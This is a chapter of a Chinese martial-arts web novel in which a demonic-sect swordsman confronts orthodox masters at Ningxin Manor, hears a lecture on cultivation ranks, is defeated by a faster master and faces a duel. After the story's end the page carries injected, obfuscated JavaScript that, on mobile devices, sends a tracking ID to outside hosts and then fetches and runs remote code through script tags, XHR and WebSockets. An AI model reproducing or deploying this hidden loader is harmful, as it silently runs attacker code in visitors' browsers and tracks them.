「后来,我就遇到了我的师父,跟着师父上了山,那时候妹妹还小,并不知道这一去就是几年,只是单纯地以为我是和她捉迷藏,所以也没有怎样伤感。」「三年后,我艺成下山,曾回家看过一次,可惜那里已经面目全非,我问过村人,他们说那一家在一年前就已经搬走了,年仅十岁的我只感到天大地大,却无处为家。」「十岁?真的好可怜呢。嗯?你不是十岁才拜的师么?怎么变了?」宁天琼好奇地道,美丽的双目移到我的脸上,却只看到一道杀气十足的森寒目光,整个人如坠冰窖,禁不住打了个冷颤,心儿仆仆地跳了起来。
「哦,我说错了。」我自知失言,忙收回不自觉散发出的杀气,淡淡地道,「我们走吧,也是时候去拜会一下那些所谓地名门正派了。」哼,看来我身上的魔气越来越重了,失言后的第一反应竟然是杀人灭口,我似乎越来越习惯于魔门中人的行事作风了。
宁天琼轻拍胸口,长出一口气,才发现自己已经出了一身冷汗,心儿狂跳不止,心中疑惑虽然更甚,却不敢再说什么。
************
宁心庄大厅。
一袭蓝衫的宁心庄主……宁无痕,紧握拳头,不断地命令弟子出去探查,脸上焦急之色,溢于言表。
「阿弥陀佛,宁施主,令爱吉人天相,定会安然无恙的。」「哦,是慧彦大师啊,哎,我也知道我在这里心烦没有什么用,可是,我就是放心不下啊。」「施主爱女情深,佛祖定会保佑大小姐的。宁施主,与其在那里心烦,不如一起商量一下如何应付魔教妖人的奸计。」「哎,大师,我现在心烦得很,根本无心思考,还是大家讨论,我在旁边听着好了。」慧彦大师也不勉强于她,环视四周,道:「华居士,你看魔门十年后再次复出,究竟有什么目的?」「还能做什么?他们每次出现都会掀起大片的腥风血雨,残杀我江湖同道,除此之外,他们还做过什么?」众人循声望去,见到发言的是一个脸上有一条巨大疤痕的大汉。
「黄兄此言甚是,我们有必要研究一下如何应对,为了江湖同道,我们一定要齐心协力才对。」华天向,人称神算子,现任天机掌门,向以智计闻名,平生甚少出手,但在座之人却无人敢小觑于他,皆因天机门一向以机关阵法见长,武功什么的,本就属于末流。
「那么依居士之见,我们现在应该如何呢?」众人立刻眼望华天向,眼神中都充满了信心。
华天向摇头道:「现在还不宜轻举妄动,我们一不知敌人实力如何,二来不知对方目的,盲目行事,只会予敌人可乘之机,依我看,现在我们应该『稳守观变,后发制人』。」众人纷纷点头称是,都道不该在未知敌人实力的情况下冒然行事。
「那现在呢?人家一个魔门的后辈都欺到我们头上来了,我们还是不声不响么?」说话的是刚才的巨汉,他一边挥舞着拳头,一道咬牙切齿地道。
华天向并无不悦之意,其实其他人也并未生气,这个人一向嫉恶如仇,又不拘小节,有些无礼反应是意料中事。
「当然不能任其嚣张下去,不然我白道脸面何在?只不过我真正要问的是,向正道此来为何?」巨汉愣道:「不是为了送小姐回庄么?」
众人纷纷笑将起来,只觉此人实在是傻得可爱。
「明的当然是送小姐回庄,暗的嘛……」华天向轻摇折扇,「可能是想看看我们如何反应也说不定。」「看我们的反应?还能有什么反应,让我黄天来说的话,一拳把他打回老家算了。」巨汉挥舞着手中的拳头,跃跃欲试地道。
「呵呵,黄老弟切莫心急,此人既敢孤身前来,定有惊人艺业,更有前车之鉴,我们何不如听听庄主的意见。宁庄主,你说这向正道实力如何?」宁无痕叹了一口气,道:「老朽无能,竟看不穿他使的是什么功法,不过,依实力来看,应属人位顶峰,却比初天位略强。」「这么看来,他应该还没进入天位了,不过未入天位怎能在庄中来去自如?
这未免有点……」
「华兄果然思虑缜密,不错,老朽不才,虽然早几年就已经进入小天位,但近年来荒于练武,又有顽疾在身,已经于一年前重新跌回初天位的实力,门下弟子又无一人进入天位,都不是那恶贼的对手,而客人中虽有高手,无奈一来不熟悉庄中地形,二来恐怕想着老朽可以解决那恶贼,故而……哎,最后竟被那恶贼给跑了。」宁无痕说到最后,竟悲从中来,流下眼泪来。
众人黯然,都对宁庄主生起同情之心。
「爹爹,这位老爷爷说什么初天位,小天位的,婉儿不懂耶。」一声轻脆的话声打破了沉默。
众人循声望去,只见一个大约十三四岁的小姑娘,晃着两条小辫子,小手摇晃着边上一位青衣儒衫的书生,脆生生地撒娇道:「爹,你给婉儿讲讲啊。」那书生将小女孩抱在怀里,哄道:「婉儿乖,爹回家给你讲好不好啊。」华向天一拱手道:「原来是阅微草堂的的许先生啊,闻听先生大名已久,想必已经进入天位几年了吧。这里有许多青年才俊,可造之材,能有幸听先生讲讲道理,也是他们的一番福份。」许先生沉吟了一下,道:「好吧,那我就把自己的心得说说,供大家参详一下。」华向天道:「许先生谦让了。」
众人立时屏息凝声,要知道,能随着这些白道首脑人物进入宁心庄的,莫不是各派的顶尖高手,或者是有望继任掌门的可造之材,绝非外面那些人可比。而武功一物,修为越深,越是难以精进,若无明师指点,机缘巧合,大智大慧者,绝难达到天位水准。而此时竟有天位高手讲解自己的心得,其机遇实在是可遇而不可求。
「所谓天,地,人三位,其实描述的并非实力,而是一种经脉的状况。人位并非就一定比地位强,而天位也未必就一定胜过人位。人在母体之中时,断绝呼吸,所有能量全凭外界供给,经脉处在最活跃的状态,我们称其为先天,即为天位。人出生后,由呼吸提供能量,经脉处于较活跃状态,称为后天,即为地位,此位亦是大多数练武之人所处的位置,功力越深,经脉的吸收能力越强,其平常所需的食物越少,若能达到辟谷的境界,离天位也就不远了。」「爹爹,姐姐现在不用吃饭,那她是到了什么境界了啊?」婉儿晃着爹爹的衣袖。
「呵呵,你姐姐那不是什么境界,她那是保持体形,你想想,要是你姐姐变成一个大肥猪,谁还会喜欢她啊。」许田光轻捏了捏女儿的小脸,笑眯眯地道。
婉儿歪着头想了想,笑着点了点头道:「就是,变成那样就不漂亮了呢。」众人都悄悄地笑了一下,这许田光在江湖中之所以大大的有名,并不是因为他自己的阅微草堂多么的有名,反倒是她的女儿,身为当世江湖中的四大美女之一,也弄得他在江湖中大有名望。
不同于华天慧的聪慧,宁天琼的冰冷,她的特别之外在于她的身材,宛如魔鬼般的纤细腰身,令每个见过她的男人都要色授魂予,令众人想不到的是,如此身材之人,也要不免俗的如一般小女孩般,怕吃坏了身子。
宁无痕也不由宛尔,接着就想起了同为四大美女的女儿,不禁悲从中来,落下泪来。
「大约一年以后,孩子开始食用五谷,身体的吸收能力大不如前,不得不辅以更多的食物,人的身体自发地落入地位,各个经脉之间的连接变得若断若续,体内的脉气分散在各个经脉之中,已经无法使用。而所谓练武奇材,其实就是那些在这个时候经脉仍有一些如前一样,并未因身体的成长而断开的人。这些人进入人位会比一般人快那么一点,但是在进入天位时,则和其它人没有什么两样,并不比他人占有优势。」一席话说得在场众人纷纷点头,各门各派的高手虽然不少,但能够将身体研究的如此细致的人却是一个也无,不仅那些年轻后辈,就连一些长老名宿,亦深感不虚此行。
「既然天位可吸收外界,人位则吸收本身能力强,为什么还会出现初天位打不过人位顶峰,初人位打不过地位顶峰的特殊情况呢?」众人循声望去,言者是一个木讷的少年,他站在华山众人当中,毫不起眼。
众人皆想,这个大概就是华山首徒铁首心吧,听闻此人玉树临风,武艺高强,却不想是如此呆呆的少年。
「老五,你怎么乱讲话。」一个身长玉立之人连忙捂住他的嘴,小声道,「不叫你来,你偏要来,还乱讲话,小心祸从口出。」「心儿,是你把天儿带来的?」「啊,是的,师父。师弟他非吵着要来,我看他真的想来,就带他来了。」那年青人连忙站定,大气也不敢喘一口,小心地道。
「哦,来了就来了,这事回去再说,你就替他给各位道个歉。」「是,师父。」年青人大踏步而出,拱手躬身道,「华山弟子铁首心,向各位前辈赔礼了,请各位前辈原谅则个。」华天向插口道:「好说好,年青人勇于提问是好事嘛,老铁兄,你管徒弟也太严了吧。」华山掌门铁守律道:「年青人总喜欢冲动,不管严点怎么成?不说这个了,许先生请接着讲。」许田光对那个叫天儿的少年抱着奖励的一笑,道:「这个问题,其实说来也很简单。地位虽然不如人位,靠的是人本身的力量,但并不代表这股力量就弱于内力。练武之人进入人位以后,就会在小腹的地方形成一个丹田,这个丹田就是用来存储内力的地方,练武之人将平时修练之时多余的的功力放入其中,然后通过各门各派自己的法门,在战斗时将其一次性引发出来,形成比平常的力量大得多的能力,这就是人位的意义。」「然而在初人位的时候,由于身体刚开始运用这种在经脉间流动的的内力,不论是身体还是经脉都无法立刻适应,反倒发挥不出这股力量,即使能够使用,由于丹田没有足够多的内力供人使用,也不会有任何实质的效果。这是由于力量过大的缘故。」「但是这种情形到了天位,却变得反了过来。」「反了过来?难不成到了天位,力量反而变小了么?」许田光嘉许地道:「对,正是力量变小了。」大厅中顿时议论纷纷,许多位于人位顶峰的人已经隐隐约约地感觉到了这一点,但是对于那些仍然在人位上品徘徊的人来说,却无疑是一道雷击,既然人的力量变小了,那他们辛辛苦苦地去追求天位是为的什么?所有的努力又都是为了什么?
(四)
「为了天道。」我喃喃地讲出答案,冷冷的目光扫过大厅,值得注意的人有不少,但有能力把我留下的人,只有四个。
宁天琼早已经被我送回屋中,但本来就是要来大闹一场的我又怎会如此轻易地离开?而且如果我仍然如来时一般,使用只有宁心庄主和女儿才知道的秘道的话,宁天琼泄露秘道于我的事情,就宛如掩耳盗铃。
不过眼前之人都不是易与之辈,被一个人给缠住,我就再也不用见到明天的太阳,所以还是再看看情况再决定吧。
「为了天道。」响亮的声音压过了所有的喧哗声,清清楚楚地回荡在每个人的耳边,震撼着每个人的心灵,「所谓『朝闻道,夕死可也。』,就是这个意思了。」众人齐齐一顿,都屏息凝声,静听许田光接下来的话。
「人位与天位最大区别就在于能量的来源。人位的所有能量均来自于丹田。
丹田对他们来说就像是一个巨大的蓄水池,无论每一招,每一剑,都要从这个蓄水池里面取得足够的力量去推动,然而天位……」许田光环视四周,朗声道:「天位……天位的能量来自于天地间。」「它无所不在,存在于我们能够感受到的每个地方,对天位的高手来说,太阳,月亮,空气,以及我们能看到的一切,都是能量的来源,所以对天位来说,他们的力量是取之不尽用之不竭的。人们已经不需要丹田这个蓄水池了,因为天地就是我们的丹田,而我们的经脉则完全变成一条条宽广的河道。说到这里,我想大家会有疑问了,既然天位的力量是取之不尽用之不竭的,为什么反而打不过人位顶峰?」众人立刻哗然。
许田光摆摆手,示意众人安静下来,道:「其实道理是这样的,不过,有一点不同的是……」他手一圈,将桌子上的茶杯吸入手中,动作圆转如意,「天位是这个样子的。」手中加劲,将茶杯捏成粉碎,「是不是啊,向正道。」众人一愕间,一片银粉已经向天花板洒去。
我暗暗懊悔,这许田光的实力实在大出我料外,本来以为白道这些年安于平静,除了天机门和萧雅轩之外已经不会再有能够进入大天位的高手了,但可惜的是,我自负聪明,也太小觑了天下人。眼前白光飞舞,哪敢硬接,身子一晃,向后撞破了屋顶,接着一摇一摆,已经使出自创的望月步,准备落荒而逃。
嘿嘿,他们大部分人都还没反应过来,只有许田光一个人知道我会这样做,虽然面对的是大天位的高手,我仍然自负望月步可以摆脱他的追捕,毕竟术业有专攻,我在逃跑方面亦是高手中的高手,然而就在我准备越墙而出的时候,心中警兆闪现。
怎么可能?眼前明明空无一物,但我却连忙逆运内力,强行将前扑之势改为向右横移。
空气突然抖动起来,一只手掌凭空出现在我的左方,如影随形地紧追而来,接着许田光的青衫出现在我的眼眶中,以肉眼难见的速度,横向转移而来。
我的天,这是什么速度?明明刚才他还仍在大厅谈笑,怎么会在一晃间,就在我前面出现,而且仍然以这种高速袭来。
不过我已经无暇多想,因为眼前的手掌已经距我不足一臂之长,勉力提起手掌,终于在他将手印到我的胸前之前,拦了下来。
一方锐意前冲,蓄势以待,一方被逼后退,仓促招架,再加上实力之间的差距明显,一击之下,我已经深受重伤。强行将要喷出的血咽下,我双手连挥,发出一道道气劲,阻止他继续追来,施展杀手,但是否真能拦得住他,我心里却是丝毫信心都没有。
一股冰寒的先天气劲轻而易举地突破我周身的魔功,势如破竹般沿着心脉直冲心脏,直到心脏前才勉强被我的道胎拦下。
一阵哄笑声传来,预想中的攻击并未来临,而我则已经身在大厅之中,正在对着不存在的人摆出防御架式。
我脸色立刻变得非常难看,并不是因为众人的嘲笑,而是我心中的道胎明明清楚地感觉到他追着我而来,而现在他却在大厅之外笑眯眯地看着我。
我的心寒了起来,若刚才那轻而易举地突破我周身的魔功的功力让我心有余悸的话,而现在影响我道心的功法则让我胆颤心惊。一直以来通透的道心是我克敌致胜的法定,屡次救我于危难之中,而现在这颗道心却完全无法预测对方的行为,若仅仅如此还好,他甚至可以影响我的道心,给我错误的感觉以至于我先机尽失。
好强!这就是大天位的实力么?如果今天能活着出去,我一定要天天烧香拜佛,感谢老天对我的照顾。
许田光此时负手而立,双眉紧锁,眼前之人是魔门之人绝对不错,那一身的魔功绝对不是一个刚刚修练的人可以达到的,至少有十年的功力了,但刚才拦下他摧心掌力的却不是魔功,而是最最纯正的道家功法,正因如此,自己才没有继续下杀手,但此人身上有一股女人的气息,是那个抢了宁天琼的向正道无疑,为什么如此纯正的道胎竟然会出现在魔门之人的身上,此事委实透着古怪。
我紧紧地盯着许田光,颀长的身形如青松一样挺拔,蓝色的儒衫在微风中轻轻起舞,飘逸如仙,心中不停地盘算着如何摆脱眼前的困境。
「阿弥陀佛,魔由心生,向施主入魔未深,悔未晚矣。」我望也不望他一眼,冷冷道:「何为魔?何为道?」「你抢了我的女儿,你就是魔,琼儿在哪里?」宁无痕一闪身到我面前,脸上焦急之色溢于言表。
「你的宝贝女儿已经被我送回房间了,她很好,你不用担心。」对眼前的老者我始终抱有一股深深的内疚,所以说话也非常恭敬,毕竟不管出于什么原因,是我先伤害了她。
宁无痕再不看我一眼,匆匆忙忙地去后院看她的宝贝女儿去了,连要找我算帐都忘记了。
我再看他的背影一眼,这个老人自从女儿失踪后,明显老了很多,略显佝偻的背影让我的心头也不禁一酸,不过马上就被眼前的事情又拉了回去。
许田光的速度之快,已经超出了我的想像,若论速度之快,恐怕天魔妙舞也无这般神速,这到底是什么功夫?若不能悉破许田光神速的奥秘,想要从他手中逃脱,无异于痴人说梦。
「原来是燕双飞。向正道领教了,今天但教我不死,定当找回此仇。」我冷冷道,「来吧,今天若能死在天下间最快的燕双飞手中,也不枉了。」许田光斜斜眯了我一眼,摇头道:「我若这样杀死你,你定然不服气,不过此事我想还是交给宁庄主比较好,毕竟他才是苦主。」我心中大喜,表面上却无动于衷,冷冷道:「怎么?你们想倚多为胜么?宁老庄主?」门外如飞一般扑进来一个人影,对着我举拳便打,然而这种丝毫没有章法可言的拳头,就是再来多少也对我不会形成任何的威胁,尽管里面蕴藏着天位的力量。
我右手一抬,轻松架开已经有些疯癫的宁无痕,反手一拳挥出,就要打在他的小腹。
旁观众人虽多,却由于出乎意料,加上距离过远,而援手不及,眼看宁心庄的庄主,宁天琼大小姐的父亲就要伤在我的手上的时候,一声惊呼传来。
「不要。不要伤我的爹爹。求求你,不要伤害他。」「求求你。」我的心一跳,莫名其妙地想起已经十几年没有见过的妹妹,本来不准备停下的拳头在临到他的小腹前稍稍顿了一下,使这个有些仓惶失措的老人被众人上前使力架开。
「你说,你对我女儿施了什么邪法。快说。」宁无痕此时已经完全没有了一派门主的风范,不停地对我挥舞着拳头,大声地呼叫着,和一般街头骂街的泼妇没有任何区别。
我以一种带着怜悯的眼光看着他,冷冷道:「我没对你的女儿施任何邪法。
我只不过破了她的处女身而已。」
「不要说了,好不好。」宁天琼带着一种哀求的声音,看着自己老爹听见我的话后,发了疯似地要冲上来和我拼命,美丽的大眼睛中充满了晶莹的泪水。
我心一软,本来准备继续讽刺的话被强行吞进肚中,让旁边一直注意着我的华天向微微皱了皱眉。
许田光眼看眼前之事将要乱成一团,忙上来扶住宁无痕,轻轻道:「这个贼子要如何处置,还要请宁庄主示下。」声音虽然不大,却使宁无痕的双眼斗然间清明了一下。
他定了定神,望向我的目光充满了怒火,恨声道:「杀了。此等贼子,死不足惜。」「爹,不可。」说话的又是宁天琼,只见她盈盈跪下,泣不成声地道:「女儿不孝,身已属他,此生愿与他共生死。」此言一出,全场皆惊。
我愣了一下,万万没有想到她如此刚烈,忙道:「不行。」「不行。」与我一同出声的自是宁无痕。他再定定神,望定于我,道:「琼儿,这个男人有什么好?值得你这样维护他,不要忘了,他可是魔门中人啊。」「女儿知道。可是如果没有了他,女儿情愿死了算了。」宁天琼哽咽着道,说出来的话却让所有人为之一震。
我从没有想过她会真的对我生情,而且还生得如此之深,心中不由得感动,但现实中我却不得不继续伤害她的心,冷冷道:「我对你没有任何感情,你要是想死,就去死好了,反正我可还没有准备死。」「你这个混蛋。枉费人家对你一片深情。」人群立时激昂起来,一个美丽的少女最是激动,忍不住跳了出来,对着我骂了起来。
「哼。」我冷哼一声,身形一转,瞬间转至她面前,随手抽出她手中的剑,接着就一剑刺去,让她骂人的话立刻吞到了肚里。
大厅中顿时乱了起来。
经过这么长时间的休息,我已经强行将伤势压下,虽然以后会对我造成不小的影响,不过现在却不是关心这个的时候,手中的细剑东刺一下,西刺一下,身形绕着众人东转西转,左穿右插,务必要将大厅内的形势弄到最乱。
一时间呼喝声四起,还夹杂着一些人的呼痛声及叫骂声。
「叮」的一声兵刃交击声响起,细长的剑柄被强大的压力压得弯了起来,我被迫后退,然后曲指一弹,一股暗劲沿着细剑迅速传到对方的手中,趁着对方吃痛收手的档儿,细剑猛得变直,差点在他的脸上留下一道永远的痕记。
「大家安静。」慧彦大师低喧一声佛号,含有宁心静神作用的话声,立刻将众人慌乱的心情给安定了下来。
我看得暗暗摇头,刚才那人并非庸手,可惜在经验上却完全不是我的对手,不然也不会被突然变直的细剑所伤,而他应该还算比较不错的了,能够镇定地应对我的突袭,不似周围的人般慌乱,如此「精英」,怎么有资格和我圣门相提并论?
我大笑了起来,道:「想不到我向正道一人就可以让你们如此畏首畏尾,若传了出去,你们这些所谓的名门正派也不用在江湖上混了,干脆都归顺我圣教罢了。」「宁老庄主。」我对着宁无痕鞠了一躬,然后道:「这件事是我对不起您。
若是您想和在下决一高低,向某绝无怨言,但若是要我死在这些倚多为胜的伪君子手中,嘿嘿,那就恕向某不奉陪了。」「好。今日只要你能胜过我的手中刀,今日我就放过你。若是你输……」「我就当着天下人的面,自刎以谢罪。」「好,君子一言,快马一鞭。就让我们用自己的本事来做个了断吧。乖女儿你还有什么话说?」宁天琼还能够说什么,只有站在一边暗自垂泪,眼前的两个人都是她想守护的人,然而由于自己,他们却不得不决一生死。在这一刻,她真的好恨自己,恨自己没有本事,无法阻止眼前的两个人。
【完】
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();